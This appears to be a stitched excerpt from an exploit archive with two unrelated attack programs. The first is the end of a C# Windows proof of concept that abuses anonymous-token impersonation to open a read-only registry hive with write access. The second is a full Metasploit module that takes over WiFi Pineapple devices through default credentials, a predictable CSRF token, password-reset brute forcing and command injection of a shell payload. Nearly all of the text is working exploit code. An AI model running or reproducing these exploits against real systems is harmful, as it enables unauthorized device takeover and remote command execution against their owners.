      GenericExecute = 0x20000000,
      GenericAll = 0x10000000,
      Delete = 0x00010000,
      ReadControl = 0x00020000,
      WriteDac = 0x00040000,
      WriteOwner = 0x00080000,
      Synchronize = 0x00100000,
      MaximumAllowed = 0x02000000,
    }

    public class NtException : ExternalException
    {
      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern IntPtr GetModuleHandle(string modulename);

      [Flags]
      enum FormatFlags
      {
        AllocateBuffer = 0x00000100,
        FromHModule = 0x00000800,
        FromSystem = 0x00001000,
        IgnoreInserts = 0x00000200
      }

      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern int FormatMessage(
        FormatFlags dwFlags,
        IntPtr lpSource,
        int dwMessageId,
        int dwLanguageId,
        out IntPtr lpBuffer,
        int nSize,
        IntPtr Arguments
      );

      [DllImport("kernel32.dll")]
      private static extern IntPtr LocalFree(IntPtr p);

      private static string StatusToString(int status)
      {
        IntPtr buffer = IntPtr.Zero;
        try
        {
          if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
              GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
          {
            return Marshal.PtrToStringUni(buffer);
          }
        }
        finally
        {
          if (buffer != IntPtr.Zero)
          {
            LocalFree(buffer);
          }
        }
        return String.Format("Unknown Error: 0x{0:X08}", status);
      }

      public NtException(int status) : base(StatusToString(status))
      {
      }
    }

    public static void StatusToNtException(int status)
    {
      if (status < 0)
      {
        throw new NtException(status);
      }
    }    

    [DllImport("Advapi32.dll")]
    static extern bool ImpersonateAnonymousToken(
      IntPtr ThreadHandle);

    [DllImport("Advapi32.dll")]
    static extern bool RevertToSelf();

    [DllImport("ntdll.dll")]
    public static extern int NtLoadKeyEx(ObjectAttributes DestinationName, ObjectAttributes FileName, LoadKeyFlags Flags,
        IntPtr TrustKeyHandle, IntPtr EventHandle, GenericAccessRights DesiredAccess, out SafeRegistryHandle KeyHandle, int Unused);

    static RegistryKey LoadKey(string path, bool read_only)
    {
      string reg_name = @"\Registry\A\" + Guid.NewGuid().ToString("B");
      ObjectAttributes KeyName = new ObjectAttributes(reg_name);
      ObjectAttributes FileName = new ObjectAttributes(@"\??\" + path);
      SafeRegistryHandle keyHandle;
      LoadKeyFlags flags = LoadKeyFlags.AppKey;
      if (read_only)
        flags |= LoadKeyFlags.ReadOnly;

      int status = NtLoadKeyEx(KeyName,
        FileName, flags, IntPtr.Zero,
        IntPtr.Zero, GenericAccessRights.GenericRead, out keyHandle, 0);
      if (status != 0)
        return null;
      return RegistryKey.FromHandle(keyHandle);      
    }

    static bool CheckForLogs(string path)
    {
      return File.Exists(path + ".LOG1") || File.Exists(path + ".LOG2");
    }

    static void DoExploit()
    {
      string path = Path.GetFullPath("dummy.hiv");
      RegistryKey key = LoadKey(path, false);      
      if (key == null)
      {
        throw new Exception("Something went wrong, couldn't create dummy hive");
      }
      key.Close();
      
      // Ensure the log files are deleted.
      File.Delete(path + ".LOG1");
      File.Delete(path + ".LOG2");
      if (CheckForLogs(path))
      {
        throw new Exception("Couldn't delete log files");
      }

      key = LoadKey(path, true);
      if (key == null || CheckForLogs(path))
      {
        throw new Exception("Didn't open hive readonly");
      }
      key.Close();

      ImpersonateAnonymousToken(new IntPtr(-2));
      key = LoadKey(path, true);
      RevertToSelf();
      if (!CheckForLogs(path))
      {
        throw new Exception("Log files not recreated");
      }

      Console.WriteLine("[SUCCESS]: Read Only Hive Opened with Write Access");
    }

    static void Main(string[] args)
    {
      try
      {
        DoExploit();        
      }
      catch (Exception ex)
      {
        Console.WriteLine("[ERROR]: {0}", ex.Message);
      }
    }
  }
}
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
      'Description'    => %q{
      This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
      We use a combination of default credentials with a weakness in the anti-csrf generation to achieve
      command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail,
      you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a
      known password if successful and may interrupt the user experience. These devices may typically be identified
      by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting
      worm.
      },
      'Author'         => ['catatonicprime'],
      'License'        => MSF_LICENSE,
      'References'     => [[ 'CVE', '2015-4624' ]],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        => {
        'Space'        => 2048,
        'DisableNops'  => true,
        'Compat'       => {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic python netcat telnet'
        }
      },
      'Targets'        => [[ 'WiFi Pineapple 2.0.0 - 2.3.0', {}]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 1 2015'
    ))

    register_options(
      [
        OptString.new('USERNAME', [ true, 'The username to use for login', 'root' ]),
        OptString.new('PASSWORD', [ true, 'The password to use for login', 'pineapplesareyummy' ]),
        OptString.new('PHPSESSID', [ true, 'PHPSESSID to use for attack', 'tospovirus' ]),
        OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
        Opt::RPORT(1471),
        Opt::RHOST('172.16.42.1')
      ]
    )
    register_advanced_options(
      [
        OptBool.new('BruteForce', [ false, 'When true, attempts to solve LED puzzle after login failure', false ]),
        OptInt.new('BruteForceTries', [ false, 'Number of tries to solve LED puzzle, 0 -> infinite', 0 ])
      ]
    )

    deregister_options(
      'ContextInformationFile',
      'DOMAIN',
      'DigestAuthIIS',
      'EnableContextEncoding',
      'FingerprintCheck',
      'HttpClientTimeout',
      'NTLM::SendLM',
      'NTLM::SendNTLM',
      'NTLM::SendSPN',
      'NTLM::UseLMKey',
      'NTLM::UseNTLM2_session',
      'NTLM::UseNTLMv2',
      'SSL',
      'SSLVersion',
      'VERBOSE',
      'WORKSPACE',
      'WfsDelay',
      'Proxies',
      'VHOST'
    )
  end

  def login_uri
    normalize_uri('includes', 'api', 'login.php')
  end

  def brute_uri
    normalize_uri("/?action=verify_pineapple")
  end

  def set_password_uri
    normalize_uri("/?action=set_password")
  end

  def phpsessid
    datastore['PHPSESSID']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def cookie
    "PHPSESSID=#{phpsessid}"
  end

  def csrf_token
    Digest::SHA1.hexdigest datastore['PHPSESSID']
  end

  def use_brute
    datastore['BruteForce']
  end

  def use_brute_tries
    datastore['BruteForceTries']
  end

  def login
    # Create a request to login with the specified credentials.
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => login_uri,
      'vars_post' => {
        'username'   => username,
        'password'   => password,
        'login'      => "" # Merely indicates to the pineapple that we'd like to login.
      },
      'headers'   => {
        'Cookie'     => cookie
      }
    )

    return nil unless res

    # Successful logins in preconfig pineapples include a 302 to redirect you to the "please config this device" pages
    return res if res.code == 302 && (res.body !~ /invalid username/)

    # Already logged in message in preconfig pineapples are 200 and "Invalid CSRF" - which also indicates a success
    return res if res.code == 200 && (res.body =~ /Invalid CSRF/)

    nil
  end

  def cmd_inject(cmd)
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => target_uri.path,
      'cookie'    => cookie,
      'vars_get'  => {
        'execute' => "" # Presence triggers command execution
      },
      'vars_post' => {
        '_csrfToken' => csrf_token,
        'commands'   => cmd
      }
    )

    res
  end

  def brute_force
    print_status('Beginning brute forcing...')
    # Attempt to get a new session cookie with an LED puzzle tied to it.
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => brute_uri
    )

    # Confirm the response indicates there is a puzzle to be solved.
    if !res || !(res.code == 200) || res.body !~ /own this pineapple/
      print_status('Brute forcing not available...')
      return nil
    end

    cookies = res.get_cookies
    counter = 0
    while use_brute_tries.zero? || counter < use_brute_tries
      print_status("Try #{counter}...") if (counter % 5).zero?
      counter += 1
      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => brute_uri,
        'cookie'    => cookies,
        'vars_post' => {
          'green'            => 'on',
          'amber'            => 'on',
          'blue'             => 'on',
          'red'              => 'on',
          'verify_pineapple' => 'Continue'
        }
      )

      if res && res.code == 200 && res.body =~ /set_password/
        print_status('Successfully solved puzzle!')
        return write_password(cookies)
      end
    end
    print_warning("Failed to brute force puzzle in #{counter} tries...")
    nil
  end

  def write_password(cookies)
    print_status("Attempting to set password to: #{password}")
    res = send_request_cgi(
      'method'     => 'POST',
      'uri'        => set_password_uri,
      'cookie'     => cookies,
      'vars_post'  => {
        'password'     => password,
        'password2'    => password,
        'eula'         => 1,
        'sw_license'   => 1,
        'set_password' => 'Set Password'
      }
    )
    if res && res.code == 200 && res.body =~ /success/
      print_status('Successfully set password!')
      return res
    end
    print_warning('Failed to set password')

    nil
  end

  def check
    loggedin = login
    unless loggedin
      brutecheck = send_request_cgi(
        'method' => 'GET',
        'uri'    => brute_uri
      )
      return Exploit::CheckCode::Safe if !brutecheck || !brutecheck.code == 200 || brutecheck.body !~ /own this pineapple/
      return Exploit::CheckCode::Vulnerable
    end

    cmd_success = cmd_inject("echo")
    return Exploit::CheckCode::Vulnerable if cmd_success && cmdSuccess.code == 200 && cmd_success.body =~ /Executing/

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status('Logging in with credentials...')
    loggedin = login
    if !loggedin && use_brute
      brute_force
      loggedin = login
    end
    unless loggedin
      fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}")
    end

    print_status('Executing payload...')
    cmd_inject("#{payload.encoded}")
  end
end